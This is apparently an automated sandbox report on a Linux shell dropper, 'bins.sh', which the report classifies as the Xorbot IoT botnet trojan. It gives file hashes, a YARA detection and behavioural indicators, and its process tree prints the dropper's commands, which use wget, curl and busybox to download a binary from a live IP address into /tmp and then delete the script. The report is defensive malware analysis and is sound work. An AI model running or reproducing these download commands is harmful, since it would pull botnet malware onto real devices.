xorbot | 01762bbc6774c58954d2aef154149f25d195340c877348cbd061e6f3c429d8bd

Analysis

max time kernel
45s
max time network
116s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
18/02/2025, 04:37

Target
bins.sh
Size 10KB
Sample250218-e8wndsymv9
SHA256 01762bbc6774c58954d2aef154149f25d195340c877348cbd061e6f3c429d8bd
MD5 d86eaa590e3754b5c5f7d3d48aafc640
SHA1 c8813488f1208356ead6dd49754edc1174f266a7
SHA512 a6833d3c8ca3415c2b90966fcaf03a680be87a3edc4bd88fab1151486c9b92c611705d5560a3284f3bb4cdfeaeae6ba3dab3d945925e45ad9857a4c63c8ec449
SSDEEP 192:3eJJWK7i21QAcr/mRxEpVsP/GsiJzTi21QAEr/mRxYpVsP/l:3eJJWKMpVsP/GsiJz0pVsP/l
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP	wget
File opened for modification	/tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:711
- /usr/bin/wget
  wget http://37.44.238.88/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  - Writes file to tmp directory
  PID:713
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  PID:804

YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP

Path /tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

Submit Download